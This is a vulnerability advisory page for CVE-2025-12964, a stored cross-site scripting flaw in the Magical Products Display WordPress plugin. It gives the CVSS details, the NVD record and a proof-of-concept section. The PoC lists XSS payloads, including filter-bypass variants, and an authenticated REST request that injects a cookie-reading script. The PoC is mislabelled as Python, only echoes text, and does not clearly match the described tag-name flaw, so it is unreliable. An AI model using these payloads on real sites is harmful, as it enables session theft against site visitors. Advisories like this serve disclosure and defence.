Security Vulnerability Report
中文
CVE-2025-12964 CVSS 6.4 MEDIUM

CVE-2025-12964

Published: 2025-11-21 10:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Magical Products Display plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mpdpr_title_tag' and 'mpdpr_subtitle_tag' parameters in the MPD Pricing Table widget in all versions up to, and including, 1.1.29 due to insufficient input sanitization and output escaping on user-supplied HTML tag names. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Magical Products Display WordPress插件 <= 1.1.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-12964 PoC - Stored XSS in Magical Products Display Plugin // Target: WordPress with Magical Products Display Plugin <= 1.1.29 // Attack Vector: MPD Pricing Table Widget - mpdpr_title_tag parameter // Authentication required: Contributor-level or higher // This PoC demonstrates the XSS payload injection $xss_payload_title = '<script>alert("XSS - CVE-2025-12964 - mpdpr_title_tag")</script>'; $xss_payload_subtitle = '<img src=x onerror=alert("XSS - CVE-2025-12964 - mpdpr_subtitle_tag")>'; // Alternative payloads that may bypass filters: $advanced_payload_1 = '<svg onload=alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,49,50,57,54,52))>'; $advanced_payload_2 = '<body onload=alert("Stored XSS via Pricing Table")>'; $advanced_payload_3 = '<input autofocus onfocus=alert(1) style="position:fixed;top:0;left:0;width:100%;height:100%" />'; // HTTP Request to inject the payload (requires authenticated Contributor session) /* POST /wp-json/wp/v2/pages HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/json Authorization: Bearer [CONTRIBUTOR_TOKEN] { "title": "Malicious Pricing Table", "content": "<!-- wp:magical-products-display/pricing-table -->\n<div class=\"mpd-pricing-table\">\n<div class=\"mpd-pr-title\" data-title-tag=\"<script>alert(document.cookie)</script>\">\n<div class=\"mpd-pr-subtitle\" data-subtitle-tag=\"<img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'));>\">\n</div>\n</div>\n</div>\n<!-- /wp:magical-products-display/pricing-table -->", "status": "publish" } */ echo "CVE-2025-12964 Stored XSS PoC\n"; echo "Target: Magical Products Display Plugin <= 1.1.29\n"; echo "Payload Type: HTML Tag Injection via mpdpr_title_tag/mpdpr_subtitle_tag\n"; echo "Required Access: Contributor-level permissions\n"; echo "Impact: Arbitrary JavaScript execution in user browsers\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12964", "sourceIdentifier": "[email protected]", "published": "2025-11-21T10:15:48.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Magical Products Display plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mpdpr_title_tag' and 'mpdpr_subtitle_tag' parameters in the MPD Pricing Table widget in all versions up to, and including, 1.1.29 due to insufficient input sanitization and output escaping on user-supplied HTML tag names. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/magical-products-display/tags/1.1.29/includes/widgets/pricing-table.php#L2149", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/magical-products-display/tags/1.1.29/includes/widgets/pricing-table.php#L2167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3394768%40magical-products-display&new=3394768%40magical-products-display&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/758e23b9-c3d5-4f1c-9659-66483d6f0578?source=cve", "source": "[email protected]"}]}}